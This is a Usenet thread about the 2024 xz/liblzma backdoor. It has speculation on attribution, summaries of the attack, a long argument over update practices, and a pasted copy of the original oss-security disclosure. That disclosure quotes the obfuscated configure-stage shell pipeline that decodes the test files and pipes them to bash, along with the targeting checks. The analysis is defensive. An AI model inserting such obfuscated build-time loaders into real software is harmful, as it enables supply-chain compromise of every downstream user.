Can someone explain how this happened?

https://thehackernews.com/2024/03/urgent-secret-backdoor-found-in-xz.html

Was it an insider who did it, or an outsider (China perhaps, for example)?

On 3/31/24 01:20, Indira wrote:
> Can someone explain how this happened?
>
> https://thehackernews.com/2024/03/urgent-secret-backdoor-found-in-xz.html
>
> Was it an insider who did it, or an outsider (China perhaps, for example)?

x-post snipped

The prime suspect always has to be the prime beneficiary. No need to go
to China for that.

https://imgur.com/Q7iwFbQ

"Indira" <indira@ghandi.net> wrote

| Can someone explain how this happened?
| | https://thehackernews.com/2024/03/urgent-secret-backdoor-found-in-xz.html
| | Was it an insider who did it, or an outsider (China perhaps, for example)?

It appears that no one really knows:
https://news.ycombinator.com/item?id=39865810

It shouldn't be surprising. It's a massive web of constantly
changing software, overseen by a massive boys' club of geeks,
constantly forcing dripfeed updates onto Linux installs. As the
saying goes, "What could go wrong?"

The pattern is endemic to Linux culture: The OS itself is
an ongoing project and social adhesive -- forever a work in
progress and never a finished, smooth, thoroughly tested
product. My install of OpenSuse would be downloading
hundreds of micro-updates per week if I didn't stop it. I
never chose any setting telling it to function as unsupervised
spyware, constantly calling home for updates. The
whole approach is a ridiculous mess. How could quality control
possibly be carried out on so many constant changes? Linux
is perennial beta software. Worse, loyalty to beta as a norm
is expected in Linux culture.

On 31/03/2024 14.24, Newyana2 wrote:
> "Indira" <indira@ghandi.net> wrote
>
> | Can someone explain how this happened?
> |
> | https://thehackernews.com/2024/03/urgent-secret-backdoor-found-in-xz.html
> |
> | Was it an insider who did it, or an outsider (China perhaps, for example)?
>
> It appears that no one really knows:
> https://news.ycombinator.com/item?id=39865810

Could be, this far it seems they may have been compromised and a third
party (chines/russian/north korean/iranian/us/<fill in a country you
dislike>...) injected changes in multiple stages.

The exploit depends on multiple components, a system using systemd, the
system has sshd running and has the affected version of xz-utils, even
if you have all the stuff together it may not work as in the case with
Fedora 40.

In theory this backdoor could be in later versions of microsoft windows
server which supports sshd, but I haven't checked into this myself so I
can't say for sure if the authentication bypass works or not.

> It shouldn't be surprising. It's a massive web of constantly
> changing software, overseen by a massive boys' club of geeks,
> constantly forcing dripfeed updates onto Linux installs. As the
> saying goes, "What could go wrong?"

And you never ask yourself why your ms-win98 is so slow and always do
strange things and from time to time files suddenly encrypted...

The reason why microsoft don't push their updates all the time is for
the file system locks files, which makes it a pita to update a file that
is already open and you can't just close a file when the OS itself needs
if, so you need to reboot and in an early stage before the OS has
started up replace the old file with the new one.

So people don't want to reboot all the time, so the compromise is to
have the OS vulnerable for a month. Then of course microsoft ain't known
to be the fastest patcher of vulnerabilities, so you can be sitting with
a vulnerability for some years.

> The pattern is endemic to Linux culture: The OS itself is
> an ongoing project

This applies to microsoft windows and apple's macOS, they are ongoing
projects, it's just the difference that you don't have access to the
source code, this don't make the code better written, the number of
vulnerabilities in those operating systems are many times more than in
Linux itself.

> My install of OpenSuse would be downloading
> hundreds of micro-updates per week if I didn't stop it.

Hardly it would be that even if you installed all the packages supplied
by OpenSuse repo, machine I seldom use (maybe once in a quatre) I may
have 200 packages to update when I start it and the binary size for less
than the average monthly microsoft update.

Keep in mind that most of the applications will have been wetter twice,
once by the developers of the applications (sure standard varies) and
then by the distribution maintainers, in your ecample it would be the
OpenSuse guys.

Microsoft has only one level, so that is why so many bugs gone
undetected in their applications and it's not uncommon when they
contribute to the Linux their pushes are reduced and they have to do
fixes before accepted. Don't forget that they are one of the major
contributors nowadays when they relay mainly on Linux for their major
money bringing projects. They also maintain their own Linux distribution.

> I never chose any setting telling it to function as unsupervised
> spyware, constantly calling home for updates.

That mainly closed source applications and operating systems which do
that, I know Ubuntu was trying once in the time with that and they lost
quite a lot of users.

> The
> whole approach is a ridiculous mess. How could quality control
> possibly be carried out on so many constant changes?

Quite simple, most open source projects can get free static code
inspection (this can be automated say when a pull request is made), a
review is always needed before code are merged (how good it is depends
on the maintainers, all from sloppy microsoft standard to BSD high
standard) . This is the same way as most closed source projects also are
done.

--
//Aho

On Sun, 31 Mar 2024 10:50:58 +0530, Indira wrote:

> Can someone explain how this happened?
>
> https://thehackernews.com/2024/03/urgent-secret-backdoor-found-in-xz.html
>
> Was it an insider who did it, or an outsider (China perhaps, for example)?

Summary based on my reading of various posts and emails (not guaranteed
to be complete, or completely current/accurate)

Bad actor weasles their way into the xz/liblzma project (the owner/maintainer
of the project seems to be an overworked one-man-band, and while the project
is peripheral to major systems, it is still part of the necessary infrastructure).

Bad actor builds up enough good will to be named as a co-maintainer of the project.

Bad actor gradually (over the course of a couple of years) checks in various
patches that, under a seemingly complex set of build requirements (X86 Linux,
debian or redhat derivative with systemd, etc), causes liblzma code to manipulate
the internals of sshd to backpatch it with an RCE backdoor.

The bad actor used a vaguely chinese name, and hid behind a VPN with a public
endpoint in (IIRC) Singapore. BUT, there's no obvious way to tie such an anonymous
actor to a specific country; names can be assumed, VPNs can disguise locations,
and the email address was a generic gmail address available worldwide.

As for the discovery: a Postgresql developer was performing some tuning, and
found a half-second discrepancy in how long it took sshd to authenticate
connections. Much deep diving with profiling tools later, the developer tracked
down the delay and found all the mess that the bad actor installed.

The developer reported it to various interested parties two days ago, and the
story unfolded from there.

--
Lew Pitcher
"In Skills We Trust"

On 2024-03-31 16:11, Lew Pitcher wrote:
> On Sun, 31 Mar 2024 10:50:58 +0530, Indira wrote:
>
>> Can someone explain how this happened?
>>
>> https://thehackernews.com/2024/03/urgent-secret-backdoor-found-in-xz.html
>>
>> Was it an insider who did it, or an outsider (China perhaps, for example)?
>
> Summary based on my reading of various posts and emails (not guaranteed
> to be complete, or completely current/accurate)
>
> Bad actor weasles their way into the xz/liblzma project (the owner/maintainer
> of the project seems to be an overworked one-man-band, and while the project
> is peripheral to major systems, it is still part of the necessary infrastructure).

Bad actor probably paid by some country or mafia with money and resources.

https://lcamtuf.substack.com/p/technologist-vs-spy-the-xz-backdoor

>
> Bad actor builds up enough good will to be named as a co-maintainer of the project.
>
> Bad actor gradually (over the course of a couple of years) checks in various
> patches that, under a seemingly complex set of build requirements (X86 Linux,
> debian or redhat derivative with systemd, etc), causes liblzma code to manipulate
> the internals of sshd to backpatch it with an RCE backdoor.
>
> The bad actor used a vaguely chinese name, and hid behind a VPN with a public
> endpoint in (IIRC) Singapore. BUT, there's no obvious way to tie such an anonymous
> actor to a specific country; names can be assumed, VPNs can disguise locations,
> and the email address was a generic gmail address available worldwide.
>
>
> As for the discovery: a Postgresql developer was performing some tuning, and
> found a half-second discrepancy in how long it took sshd to authenticate
> connections. Much deep diving with profiling tools later, the developer tracked
> down the delay and found all the mess that the bad actor installed.
>
> The developer reported it to various interested parties two days ago, and the
> story unfolded from there.
>

--
Cheers, Carlos.

"J.O. Aho" <user@example.net> wrote

| > The
| > whole approach is a ridiculous mess. How could quality control
| > possibly be carried out on so many constant changes?
| | Quite simple, most open source projects can get free static code
| inspection (this can be automated say when a pull request is made), a
| review is always needed before code are merged (how good it is depends
| on the maintainers, all from sloppy microsoft standard to BSD high
| standard) . This is the same way as most closed source projects also are
| done.
|

I don't see it as a closed vs open issue. Microsoft
now do the same dripfeed updating. Essentially, the
SOHo customer base are now an unpaid beta testing
army.

I've had to make efforts to block these unknown updates
in both Win10 and Suse. (And yes, it is in the 100s. I had
my firewall down briefly after a week or two when Suse couldn't
call home. It told me I had 360 updates waiting. What are
they? Who knows. Most of the ames are not informative, even
if I wanted to look through 360 updates. It's nuts. I didn't
agree to be a beta testing volunteer for programmers who
can't stop fiddling. I'm guessing they may spend more time
rebuilding the install package than actually writing the software.)

The way it used to work is that software was thoroughly
tested before release. Then another version might come out
in maybe a year. At that point people might try it out, or they
might wait for reviews. And one could easily find a list of
actual changes in the new version. Most of my Windows software
hasn't been updated in ages and still works fine. But Microsoft and
Linux are now both guilty of seat-of-the-pants updating. If it
isn't stopped, Windows will show a message at boot every few
days: "Please wait. Installing updates."

Apple is a different thing. They serve a consumer-only audience,
updating periodically with stable releases and quickly dropping
support for older products. Their aim is to sell a lot of very
dependable devices to a tech-illiterate customer base, which is
a different business model.

If someone screws up and needs to issue a fix, that's fine.
But it shouldn't happen very often. An OS on a computer that's
actually in use shouldn't be getting dripfeed updates. It should
be getting updates rarely and then with good reason. MS know that.
That's why they let corporate customers update periodically and
test out the changes before rolling them out.

Newyana2 <Newyana2@invalid.nospam> wrote:
[...]

> But Microsoft and
> Linux are now both guilty of seat-of-the-pants updating. If it
> isn't stopped, Windows will show a message at boot every few
> days: "Please wait. Installing updates."

With "every few days" actually being *a month* and you only get a
"Please wait." message if you're stupid enough not to set your 'Active
hours'.

And "at boot every few days"!? My system is up from one monthly update
cycle to the next, no silly business with booting in between.

[...]

On 2024-03-31 20:17, Newyana2 wrote:
> "J.O. Aho" <user@example.net> wrote
>
> | > The
> | > whole approach is a ridiculous mess. How could quality control
> | > possibly be carried out on so many constant changes?
> |
> | Quite simple, most open source projects can get free static code
> | inspection (this can be automated say when a pull request is made), a
> | review is always needed before code are merged (how good it is depends
> | on the maintainers, all from sloppy microsoft standard to BSD high
> | standard) . This is the same way as most closed source projects also are
> | done.
> |
>
> I don't see it as a closed vs open issue. Microsoft
> now do the same dripfeed updating. Essentially, the
> SOHo customer base are now an unpaid beta testing
> army.
>
> I've had to make efforts to block these unknown updates
> in both Win10 and Suse. (And yes, it is in the 100s. I had
> my firewall down briefly after a week or two when Suse couldn't
> call home. It told me I had 360 updates waiting. What are
> they? Who knows. Most of the ames are not informative, even
> if I wanted to look through 360 updates. It's nuts. I didn't
> agree to be a beta testing volunteer for programmers who
> can't stop fiddling. I'm guessing they may spend more time
> rebuilding the install package than actually writing the software.)
>
> The way it used to work is that software was thoroughly
> tested before release. Then another version might come out
> in maybe a year. At that point people might try it out, or they
> might wait for reviews. And one could easily find a list of
> actual changes in the new version. Most of my Windows software
> hasn't been updated in ages and still works fine. But Microsoft and
> Linux are now both guilty of seat-of-the-pants updating. If it
> isn't stopped, Windows will show a message at boot every few
> days: "Please wait. Installing updates."

You should read "The cathedral and the bazaar".

>
> Apple is a different thing. They serve a consumer-only audience,
> updating periodically with stable releases and quickly dropping
> support for older products. Their aim is to sell a lot of very
> dependable devices to a tech-illiterate customer base, which is
> a different business model.
>
> If someone screws up and needs to issue a fix, that's fine.
> But it shouldn't happen very often. An OS on a computer that's
> actually in use shouldn't be getting dripfeed updates. It should
> be getting updates rarely and then with good reason. MS know that.
> That's why they let corporate customers update periodically and
> test out the changes before rolling them out.
>
>

--
Cheers, Carlos.

Newyana2 <Newyana2@invalid.nospam> wrote:
> "Indira" <indira@ghandi.net> wrote
>
> | Can someone explain how this happened?
> |
> | https://thehackernews.com/2024/03/urgent-secret-backdoor-found-in-xz.html
> |
> | Was it an insider who did it, or an outsider (China perhaps, for example)?
>
> It appears that no one really knows:
> https://news.ycombinator.com/item?id=39865810
>
> It shouldn't be surprising. It's a massive web of constantly
> changing software, overseen by a massive boys' club of geeks,
> constantly forcing dripfeed updates onto Linux installs. As the
> saying goes, "What could go wrong?"
>
> The pattern is endemic to Linux culture: The OS itself is
> an ongoing project and social adhesive -- forever a work in
> progress and never a finished, smooth, thoroughly tested
> product. My install of OpenSuse would be downloading
> hundreds of micro-updates per week if I didn't stop it. I
> never chose any setting telling it to function as unsupervised
> spyware, constantly calling home for updates. The
> whole approach is a ridiculous mess. How could quality control
> possibly be carried out on so many constant changes? Linux
> is perennial beta software. Worse, loyalty to beta as a norm
> is expected in Linux culture.

Security is a balance and given that all software has bugs I'd much rather
install updates - especially security ones - regularly rather than not. You
can set most distros to only install security updates if you prefer.

Given all your concerns above, OSS is at least no worse than proprietary
software. Just think of all the major vulnerabilities over the years. Most
have either been due to unpatched known vulnerabilities or bugsin
proprietary software.

"Carlos E.R." <robin_listas@es.invalid> wrote

| > The way it used to work is that software was thoroughly
| > tested before release. Then another version might come out
| > in maybe a year. At that point people might try it out, or they
| > might wait for reviews. And one could easily find a list of
| > actual changes in the new version. Most of my Windows software
| > hasn't been updated in ages and still works fine. But Microsoft and
| > Linux are now both guilty of seat-of-the-pants updating. If it
| > isn't stopped, Windows will show a message at boot every few
| > days: "Please wait. Installing updates."
| | You should read "The cathedral and the bazaar".
| That's addressing how to develop software. But then there's
the point at which the software is done, thoroughly tested,
and put to use. It needs to be well designed and stable. It
needs to do what people need. Then it needs to stay put.

Software shouldn't be a sexy business, with constant redesign.
What happens more often than not in the Linux world might
be called the greasemonkey syndrome. That's the case where
someone has a car on his front lawn and continually works
on tuning it up, adding scoops, and so on. He never quite gets
around to driving the car. He just likes to tinker.

For all Microsoft's faults, there's the advantage that their business
depends on business users. So Windows has to be stable, it has to
have a well documented API, and backward compatibility is critical
because businesses build their own inhouse software. I can write
software today on Windows that runs on every Windows machine in
the world, with no support files needed. With Macs one gets 2-3
years backard compatibility. With Linux it's a moving target. I'm
still using a 25 year old Paint Shop Pro on my 23 year old WinXP.
I'm still using current Firefox on 14 year old Win7. I had to update
my 4 year old Raspberry Pi OS because it couldn't run the latest
Chromium. It could only run Chromium 92, released in 2021. The
whole thing has to be periodically replaced.

"Carlos E.R." <robin_listas@es.invalid> wrote:

> Bad actor probably paid by some country or mafia with money and resources.
>
> https://lcamtuf.substack.com/p/technologist-vs-spy-the-xz-backdoor

Very sophisticated. Their grand scheme was:

1) sneakily backdoor the release tarballs, but not the source code

2) use sockpuppet accounts to convince the various Linux distributions to
pull the latest version and package it

3) once those distributions shipped it, they could take over any downstream
user/company system/etc

https://arstechnica.com/security/2024/04/what-we-know-about-the-xz-utils-backdoor-that-almost-infected-the-world/
--
Please wear your mask!
Bugs are everywhere. :)
!__!
(@)(@)
\.'||'./
-: :: :-
/'..''..'\

On Sun, 31 Mar 2024 10:50:58 +0530, Indira wrote:

> Was it an insider who did it, or an outsider (China perhaps, for example)?

Who did it?

Your mum. Just kidding, it was GCHQ in Cheltnam. Just kidding, it was
Russia. Just kidding, it was China. Just kidding, it was America. Just
kidding, it was definitely your mum.

How advanced was the threat actor?

The backdoor attempt was a very serious one, with a very high bar of
knowledge, research, development and tradecraft to reach this far into the
Linux ecosystem. Additionally, changes made by the threat actor on Github
span multiple years, and include things like introducing functions
incompatible with OSS Fuzzer due to outstanding small issues since 2015,
then getting OSS Fuzzer to exclude XZ Utils from scanning last year. The
backdoor itself is super well put together, and even includes the ability
to remotely deactivate and remove the backdoor via a kill command.

https://doublepulsar.com/inside-the-failed-attempt-to-backdoor-ssh-globally-that-got-caught-by-chance-bbfe628fafdd

On 3/31/2024 2:11 PM, Lew Pitcher wrote:

> The developer reported it to various interested parties two days ago, and the
> story unfolded from there.

https://doublepulsar.com/inside-the-failed-attempt-to-backdoor-ssh-globally-that-got-caught-by-chance-bbfe628fafdd

Date: Fri, 29 Mar 2024 08:51:26 -0700
From: Andres Freund <andres@...razel.de>
To: oss-security@...ts.openwall.com
Subject: backdoor in upstream xz/liblzma leading to ssh server compromise

Hi,

After observing a few odd symptoms around liblzma (part of the xz package)
on
Debian sid installations over the last weeks (logins with ssh taking a lot
of
CPU, valgrind errors) I figured out the answer:

The upstream xz repository and the xz tarballs have been backdoored.

At first I thought this was a compromise of debian's package, but it turns
out
to be upstream.

== Compromised Release Tarball ==

One portion of the backdoor is *solely in the distributed tarballs*. For
easier reference, here's a link to debian's import of the tarball, but it
is
also present in the tarballs for 5.6.0 and 5.6.1:

https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L63

That line is *not* in the upstream source of build-to-host, nor is
build-to-host used by xz in git. However, it is present in the tarballs
released upstream, except for the "source code" links, which I think github
generates directly from the repository contents:

https://github.com/tukaani-project/xz/releases/tag/v5.6.0
https://github.com/tukaani-project/xz/releases/tag/v5.6.1

This injects an obfuscated script to be executed at the end of configure.
This
script is fairly obfuscated and data from "test" .xz files in the
repository.

This script is executed and, if some preconditions match, modifies
$builddir/src/liblzma/Makefile to contain

am__test = bad-3-corrupt_lzma2.xz
....
am__test_dir=$(top_srcdir)/tests/files/$(am__test)
....
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1

which ends up as
....; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr " \-_" "
_\-" | xz -d | /bin/bash >/dev/null 2>&1; ...

Leaving out the "| bash" that produces

####Hello####
#��Z�.hj�
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024
>/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048
&& (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024
>/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048
&& (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024
>/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048
&& (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024
>/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048
&& (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024
>/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048
&& (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024
>/dev/null) && head -c +724)";(xz -dc
$srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr
"\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw
--lzma1 -dc|/bin/sh
####World####

After de-obfuscation this leads to the attached injected.txt.

== Compromised Repository ==

The files containing the bulk of the exploit are in an obfuscated form in
tests/files/bad-3-corrupt_lzma2.xz
tests/files/good-large_compressed.lzma
committed upstream. They were initially added in
https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0

Note that the files were not even used for any "tests" in 5.6.0.

Subsequently the injected code (more about that below) caused valgrind
errors
and crashes in some configurations, due the stack layout differing from
what
the backdoor was expecting. These issues were attempted to be worked
around
in 5.6.1:

https://github.com/tukaani-project/xz/commit/e5faaebbcf02ea880cfc56edc702d4f7298788ad
https://github.com/tukaani-project/xz/commit/72d2933bfae514e0dbb123488e9f1eb7cf64175f
https://github.com/tukaani-project/xz/commit/82ecc538193b380a21622aea02b0ba078e7ade92

For which the exploit code was then adjusted:
https://github.com/tukaani-project/xz/commit/6e636819e8f070330d835fce46289a3ff72a7b89

Given the activity over several weeks, the committer is either directly
involved or there was some quite severe compromise of their
system. Unfortunately the latter looks like the less likely explanation,
given
they communicated on various lists about the "fixes" mentioned above.

Florian Weimer first extracted the injected code in isolation, also
attached,
liblzma_la-crc64-fast.o, I had only looked at the whole binary. Thanks!

== Affected Systems ==

The attached de-obfuscated script is invoked first after configure, where
it
decides whether to modify the build process to inject the code.

These conditions include targeting only x86-64 linux:
if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo
"$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then

Building with gcc and the gnu linker
if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
exit 0
fi
if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
exit 0
fi
LDv=$LD" -v"
if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
exit 0

Running as part of a debian or RPM package build:
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

Particularly the latter is likely aimed at making it harder to reproduce
the
issue for investigators.

Due to the working of the injected code (see below), it is likely the
backdoor
can only work on glibc based systems.

Luckily xz 5.6.0 and 5.6.1 have not yet widely been integrated by linux
distributions, and where they have, mostly in pre-release versions.

== Observing Impact on openssh server ==

With the backdoored liblzma installed, logins via ssh become a lot slower.

time ssh nonexistant@...alhost

before:
nonexistant@...alhost: Permission denied (publickey).

before:
real 0m0.299s
user 0m0.202s
sys 0m0.006s

after:
nonexistant@...alhost: Permission denied (publickey).

real 0m0.807s
user 0m0.202s
sys 0m0.006s

openssh does not directly use liblzma. However debian and several other
distributions patch openssh to support systemd notification, and libsystemd
does depend on lzma.

Initially starting sshd outside of systemd did not show the slowdown,
despite
the backdoor briefly getting invoked. This appears to be part of some
countermeasures to make analysis harder.

Observed requirements for the exploit:
a) TERM environment variable is not set
b) argv[0] needs to be /usr/sbin/sshd
c) LD_DEBUG, LD_PROFILE are not set
d) LANG needs to be set
e) Some debugging environments, like rr, appear to be detected. Plain gdb
appears to be detected in some situations, but not others

To reproduce outside of systemd, the server can be started with a clear
environment, setting only the required variable:

env -i LANG=en_US.UTF-8 /usr/sbin/sshd -D

In fact, openssh does not need to be started as a server to observe the
slowdown:

slow:
env -i LANG=C /usr/sbin/sshd -h

(about 0.5s on my older system)

fast:
env -i LANG=C TERM=foo /usr/sbin/sshd -h
env -i LANG=C LD_DEBUG=statistics /usr/sbin/sshd -h
....

(about 0.01s on the same system)

It's possible that argv[0] other /usr/sbin/sshd also would have effect -
there
are obviously lots of servers linking to libsystemd.

== Analyzing the injected code ==

I am *not* a security researcher, nor a reverse engineer. There's lots of
stuff I have not analyzed and most of what I observed is purely from
observation rather than exhaustively analyzing the backdoor code.

To analyze I primarily used "perf record -e intel_pt//ub" to observe where
execution diverges between the backdoor being active and not. Then also
gdb,
setting breakpoints before the divergence.

The backdoor initially intercepts execution by replacing the ifunc
resolvers
crc32_resolve(), crc64_resolve() with different code, which calls
_get_cpuid(), injected into the code (which previously would just be static
inline functions). In xz 5.6.1 the backdoor was further obfuscated,
removing
symbol names.

These functions get resolved during startup, because sshd is built with
-Wl,-z,now, leading to all symbols being resolved early. If started with
LD_BIND_NOT=1 the backdoor does not appear to work.

On 31/03/2024 20.17, Newyana2 wrote:
> "J.O. Aho" <user@example.net> wrote
>
> | > The
> | > whole approach is a ridiculous mess. How could quality control
> | > possibly be carried out on so many constant changes?
> |
> | Quite simple, most open source projects can get free static code
> | inspection (this can be automated say when a pull request is made), a
> | review is always needed before code are merged (how good it is depends
> | on the maintainers, all from sloppy microsoft standard to BSD high
> | standard) . This is the same way as most closed source projects also are
> | done.
> |
>
> I don't see it as a closed vs open issue. Microsoft
> now do the same dripfeed updating. Essentially, the
> SOHo customer base are now an unpaid beta testing
> army.

That was the feeling one got reading, bashing on open source development
model, which in reality don't be that much different from remote working
setups with the exception that developers not gone trough a silly interview.

> I've had to make efforts to block these unknown updates
> in both Win10 and Suse.

In microsoft updates you can't opt out from specific updates, everything
is bundled together, while for example with Suse you can block specific
packages from being updated (in the long run you may get a dependency
issue, not my problem).

> (And yes, it is in the 100s. I had
> my firewall down briefly after a week or two when Suse couldn't
> call home.

What you call for calling home for Suse is just a fetch of the latest
status on what packages exists in the remote repository and some
metadata, so it's one way communication, sure the remote end could store
your IP and which repository you was fetching from.

It's on your local system that the calculation is done which packages
are needed to be installed to get everything up to latest version.

This differs much from the microsoft way, which you tell everything to
microsoft and they tell you what to install.

> It told me I had 360 updates waiting. What are
> they?

The update applet in Suse would tell you about which CVE are resolved in
the new update, the exception was Tumbleweed as the release was consider
experimental and you could have many package updates for multiple reasons.

Keep in mind that in 99% of the cases you already have them installed
and they are dependencies of the programs you may know like firefox,
chromium, ...
If a program is listed, it tend to be about a security fix or minor
improvements that affects stability and speed (keep in mind that a bug
can also be introduced for it's a human who has written the code).
Of course if you like me prefer a rollin-release-distro, then updates
may bring new features and new dependencies, but I trust my distro
maintainers to have an eye on what is good and safe, so I don't care to
look at what changes for each package at each time, but I could just
take a look at the change log for each package as my favorite distro do
provide that as metadata.

> I didn't
> agree to be a beta testing volunteer for programmers who
> can't stop fiddling. I'm guessing they may spend more time
> rebuilding the install package than actually writing the software.)

then you need to find an EOL distribution of ms-windows version and live
with that there will not be any fixes for what ever vulnerability there
may be found.

> The way it used to work is that software was thoroughly
> tested before release.

Haha... yeah sure, never been the case, if even a QA-testing before it
tend to be just the new feature and seldom the whole application, so
things can easily break like when ms released the new version of "teams"
and they broke spellchecking.

> Then another version might come out
> in maybe a year.

This was in the times when no one was concerned about vulnerabilities,
clueless about things like OWASP Top 10, the world has changed a lot
since the 20th century, now the bad boys tend to know about application
vulnerabilities faster than the developers, when methods of detecting of
bad code has evolved (static analyzes, LLM, auto testing, ...), then a
random vulnerabilities ain't enough, then you need to create
vulnerabilities and organized actors try to get their code into
application in different manners like hack repositories and inject their
code, get employment at different companies or agencies or joining open
source developments.

You can't go around with software with a known vulnerability for a year,
not even a week...

> And one could easily find a list of
> actual changes in the new version.

Most open source projects do hand a change.log which tells you about
what is new in each version. There are some closed source projects that
do the same too.

> Most of my Windows software
> hasn't been updated in ages and still works fine.

yeah, they do work, but with all the vulnerabilities you are also an
easy target which your firewall will not protect you from.

> But Microsoft and
> Linux are now both guilty of seat-of-the-pants updating. If it
> isn't stopped, Windows will show a message at boot every few
> days: "Please wait. Installing updates."
>
> Apple is a different thing. They serve a consumer-only audience,
> updating periodically with stable releases and quickly dropping
> support for older products.

Apple and microsoft has the same release policy, monthly updates unless
something really critical then out of cycle releases.

Both don't talk about vulnerabilities until they have released a fix, so
in theory you can have a vulnerability for 10 years which they know of
and haven't bothered to fix for they think it's of low impact but may
already be utilized in hacks.

>
> If someone screws up and needs to issue a fix, that's fine.
> But it shouldn't happen very often. An OS on a computer that's
> actually in use shouldn't be getting dripfeed updates.

This is why peoples devices gets to be part of large botnets, for they
ignore security in the same way that MAGA ignores that mr tinyhands
wants a bloodbath in US.

> It should
> be getting updates rarely and then with good reason. MS know that.
> That's why they let corporate customers update periodically and
> test out the changes before rolling them out.

They know that people are annoyed by rebooting their computer each time
there is an update and as I told you before in ms-windows a file is
locked it is locked and can't be replaced until the application which
uses it has closed it, and as the kernel has opened files that needs to
be replaced, the kernel can't be up and running in full to finish a
update, so you need to reboot.

This differs from Unix and Linux where two version of a file can exists
at the same time, so after an update all you need to do is restart the
applications that has the older version loaded (that what suse tells you
after an update) and with live patching of the kernel you can even avoid
the reboot when you have a kernel update.

Please don't be stupid, keep your stuff up to date, it's not about you,
but it's about everyone else as when you are part of a botnet everyone
else will be affected of your bad decisions.

--
//Aho

On 4/1/24 05:01, Mickey D wrote:
> On Sun, 31 Mar 2024 10:50:58 +0530, Indira wrote:
>
>> Was it an insider who did it, or an outsider (China perhaps, for example)?
>
> Who did it?
>
> Your mum. Just kidding, it was GCHQ in Cheltnam. Just kidding, it was
> Russia. Just kidding, it was China. Just kidding, it was America. Just
> kidding, it was definitely your mum.
>
> How advanced was the threat actor?
>
> The backdoor attempt was a very serious one, with a very high bar of
> knowledge, research, development and tradecraft to reach this far into the
> Linux ecosystem. Additionally, changes made by the threat actor on Github
> span multiple years,

Picasso said that computers are useless because they only give us
answers so my first two questions would be

- when did Gates first call Linux a 'cancer'

- when did he first coin Triple-E as his 'final solution'?

> and include things like introducing functions
> incompatible with OSS Fuzzer due to outstanding small issues since 2015,
> then getting OSS Fuzzer to exclude XZ Utils from scanning last year. The
> backdoor itself is super well put together, and even includes the ability
> to remotely deactivate and remove the backdoor via a kill command.
>
> https://doublepulsar.com/inside-the-failed-attempt-to-backdoor-ssh-globally-that-got-caught-by-chance-bbfe628fafdd

Smart, but realistically speaking how stupid does one have to be to
imagine that the stunt could last without being discovered? My bet
excludes intelligence services or anyone with more than 2 watts of
deployable bandwidth, leaving (fill-in with anti-Linux victims of Linux
and/or their moles).

--
“Wish in one hand, shit in the other, see which one fills up first.”
Stephen King, The Dark Tower

On 31/03/2024 19:17, Newyana2 wrote:
> "J.O. Aho" <user@example.net> wrote
>
> | > The
> | > whole approach is a ridiculous mess. How could quality control
> | > possibly be carried out on so many constant changes?
> |
> | Quite simple, most open source projects can get free static code
> | inspection (this can be automated say when a pull request is made), a
> | review is always needed before code are merged (how good it is depends
> | on the maintainers, all from sloppy microsoft standard to BSD high
> | standard) . This is the same way as most closed source projects also are
> | done.
> |
>
> I don't see it as a closed vs open issue. Microsoft
> now do the same dripfeed updating. Essentially, the
> SOHo customer base are now an unpaid beta testing
> army.
>
> I've had to make efforts to block these unknown updates
> in both Win10 and Suse. (And yes, it is in the 100s. I had
> my firewall down briefly after a week or two when Suse couldn't
> call home. It told me I had 360 updates waiting. What are
> they? Who knows. Most of the ames are not informative, even
> if I wanted to look through 360 updates.

Linux package updates are pretty informative. Especially if you want to
differentiate between feature updates and bug fixes or security updates.

> It's nuts. I didn't
> agree to be a beta testing volunteer for programmers who
> can't stop fiddling. I'm guessing they may spend more time
> rebuilding the install package than actually writing the software.)

You'd guess wrong.

> The way it used to work is that software was thoroughly
> tested before release. Then another version might come out
> in maybe a year.

There's a reason why that doesn't happen anymore: it sucked. That was
the WinXP model which ultimately failed catastrophically (see WannaCry).
You had to wait until the next Service Pack in order to secure your OS
which may have been vulnerable for several months.

> t that point people might try it out, or they
> might wait for reviews. And one could easily find a list of
> actual changes in the new version. Most of my Windows software
> hasn't been updated in ages and still works fine. But Microsoft and
> Linux are now both guilty of seat-of-the-pants updating. If it
> isn't stopped, Windows will show a message at boot every few
> days: "Please wait. Installing updates."
>
> Apple is a different thing. They serve a consumer-only audience,

That's simply not true. There are whole professional industries which
are Apple-centric.

> updating periodically with stable releases and

Security updates can happen at any time. Since release of the latest
version of macOS in September there have been nine updates, with five
being security/vulnerability specific releases.

> quickly dropping
> support for older products.

Which from a security standpoint works very well. Apple long ago stopped
selling OS updates - which Microsoft still kinda does - as it made sense
to have as many users as possible on the latest and most up-to-date OS
version.

Charging for updates means users won't update in a timely manner and
that leaves MS with the headache of having to support multiple versions
concurrently which is expensive and inefficient.

> Their aim is to sell a lot of very
> dependable devices to a tech-illiterate customer base, which is
> a different business model.
>
> If someone screws up and needs to issue a fix, that's fine.
> But it shouldn't happen very often. An OS on a computer that's
> actually in use shouldn't be getting dripfeed updates.

Of course it should. The bad model is that all updates need a reboot
